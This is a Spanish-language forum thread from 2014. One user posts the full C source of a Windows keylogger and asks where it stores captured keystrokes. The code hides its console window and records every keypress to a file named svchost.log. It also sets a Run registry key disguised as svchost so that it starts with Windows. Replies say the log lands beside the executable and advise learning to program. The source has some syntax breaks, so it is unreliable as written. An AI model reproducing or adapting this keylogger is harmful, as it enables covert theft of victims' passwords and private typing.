En que directorio guarda los datos recolectados este keylogger

Iniciado por Mister12, 31 Julio 2014, 20:31 PM

0 Miembros y 1 Visitante están viendo este tema.

Mister12

Este es el codigo fuente del keylogger

Citar#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
   HWND stealth; /*creating stealth (window is not visible)*/
   AllocConsole();
   stealth=FindWindowA("ConsoleWindowClass",NULL);
   ShowWindow(stealth,0);

   int test,create;
   test=test_key();/*check if key is available for opening*/
       
   if (test==2)/*create key*/
   {
       char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
       create=create_key(path);
         
   }
       

   int t=get_keys();
   
   return t;


int get_keys(void)
{
           short character;
             while(1)
             {
                    sleep(10);/*to prevent 100% cpu usage*/
                    for(character=8;character<=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        { 
                           
                            FILE *file;
                            file=fopen("svchost.log","a+");
                            if(file==NULL)
                            {
                                    return 1;
                            }           
                            if(file!=NULL)
                            {       
                                    if((character>=39)&&(character<=64))
                                    {
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }       
                                    else if((character>64)&&(character<91))
                                    {
                                          character+=32;
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }
                                    else
                                    {
                                        switch(character)
                                        {
                                              case VK_SPACE:
                                              fputc(' ',file);
                                              fclose(file);
                                              break;   
                                              case VK_SHIFT:
                                              fputs("[SHIFT]",file);
                                              fclose(file);
                                              break;                                           
                                              case VK_RETURN:
                                              fputs("\n[ENTER]",file);
                                              fclose(file);
                                              break;
                                              case VK_BACK:
                                              fputs("[BACKSPACE]",file);
                                              fclose(file);
                                              break;
                                              case VK_TAB:
                                              fputs("[TAB]",file);
                                              fclose(file);
                                              break;
                                              case VK_CONTROL:
                                              fputs("[CTRL]",file);
                                              fclose(file);
                                              break;   
                                              case VK_DELETE:
                                              fputs("[DEL]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_1:
                                              fputs("[;:]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_2:
                                              fputs("[/?]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_3:
                                              fputs("[`~]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_4:
                                              fputs("[ [{ ]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_5:
                                              fputs("[\\|]",file);
                                              fclose(file);
                                              break;                               
                                              case VK_OEM_6:
                                              fputs("[ ]} ]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_7:
                                              fputs("['\"]",file);
                                              fclose(file);
                                              break;
                                              /*case VK_OEM_PLUS:
                                              fputc('+',file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_COMMA:
                                              fputc(',',file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_MINUS:
                                              fputc('-',file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_PERIOD:
                                              fputc('.',file);
                                              fclose(file);
                                              break;*/
                                              case VK_NUMPAD0:
                                              fputc('0',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD1:
                                              fputc('1',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD2:
                                              fputc('2',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD3:
                                              fputc('3',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD4:
                                              fputc('4',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD5:
                                              fputc('5',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD6:
                                              fputc('6',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD7:
                                              fputc('7',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD8:
                                              fputc('8',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD9:
                                              fputc('9',file);
                                              fclose(file);
                                              break;
                                              case VK_CAPITAL:
                                              fputs("[CAPS LOCK]",file);
                                              fclose(file);
                                              break;
                                              default:
                                              fclose(file);
                                              break;
                                       }       
                                  }   
                             }       
                   }   
               }                 
                   
           }
           return EXIT_SUCCESS;                           
}                                               

int test_key(void)
{
   int check;
   HKEY hKey;
   char path[BUFSIZE];
   DWORD buf_length=BUFSIZE;
   int reg_key;
   
   reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
   if(reg_key!=0)
   {   
       check=1;
       return check;
   }       
         
   reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
   
   if((reg_key!=0)||(buf_length>BUFSIZE))
       check=2;
   if(reg_key==0)
       check=0;
       
   RegCloseKey(hKey);
   return check; 
}

int create_key(char *path)

       int reg_key,check;
       
       HKEY hkey;
       
       reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
       if(reg_key==0)
       {
               RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
               check=0;
               return check;
       }
       if(reg_key!=0)
               check=1;
               
       return check;
}

From some where at the other side of the universe

daryo

no me lo tomes a mal pero te facilitaria mucho mas cosas el que aprendas a programar asi podras mejorar el codigo o crear el tuyo propio

saludos :)
buenas

vangodp

#2
creo que en la misma carpeta del ejecutable o eso creo  :laugh:
lo digo por que eso:

FILE *file;
file=fopen("svchost.log","a+");

crea el archivo justo donde se pone svchost.log. Si no se especifica una ruta tipo c:\blablabla es que se crea en el mismo directorio donde ponga el exe

Si fuera así:
file=fopen("c:/blablabla.../svchost.log","a+");
...estaría en la ruta especificada c:/blablabla.../svchost.log

piratilla  :laugh:

Mister12

#3
Cita de: daryo en 31 Julio 2014, 20:50 PM
no me lo tomes a mal pero te facilitaria mucho mas cosas el que aprendas a programar asi podras mejorar el codigo o crear el tuyo propio

saludos :)

Se supone que el foro esta para enseñar lo que se sabe y aprender lo que no, y debo empezar por algo.

Cita de: vangodp en 31 Julio 2014, 20:59 PM
creo que en la misma carpeta del ejecutable o eso creo  :laugh:
lo digo por que eso:

FILE *file;
file=fopen("svchost.log","a+");

crea el archivo justo donde se pone svchost.log. Si no se especifica una ruta tipo c:\blablabla es que se crea en el mismo directorio donde ponga el exe

Si fuera así:
file=fopen("c:/blablabla.../svchost.log","a+");
...estaría en la ruta especificada c:/blablabla.../svchost.log

piratilla  :laugh:

Gracias por sus respuestas.Saludos 
From some where at the other side of the universe

daryo

#4
Citarpiratilla  :laugh:
no hombre xD luego vendra aca cada vez que quiera saber que hace un codigo en ves de intentar entenderlo .

mister12 si te gusta la informatica programar te abrira las puertas muchisimo a entender muchas cosas y mas aun si te gusta el hacking , copiar codigos de fuente sin entender que hacen puede no darte los mejores resultados

edito: por ejemplo ese keylogger podria no funcionarte muy bien dependiendo de donde lo pongas

Cita de: Mister12 en 31 Julio 2014, 21:04 PM
Se supone que el foro esta para enseñar lo que se sabe y aprender lo que no, y debo empezar por algo.
de verdad quieres aprender o simplemente copiar y pegar lo que encuentras por ahi?. porque si es asi vas por mal camino.

bueno tomatelo como un consejo solamente
buenas

Mister12

Bueno agradezco tu punto de vista, pero por algo se debe empezar bueno la idea es ir modificando el código probarlo y listo, peor es nada, y no tengo que preguntar cada vez que quiera entender que hace un código no te parece que es mucho mas fácil recopilar el código y probar en un entorno seguro para saber que hace un código

From some where at the other side of the universe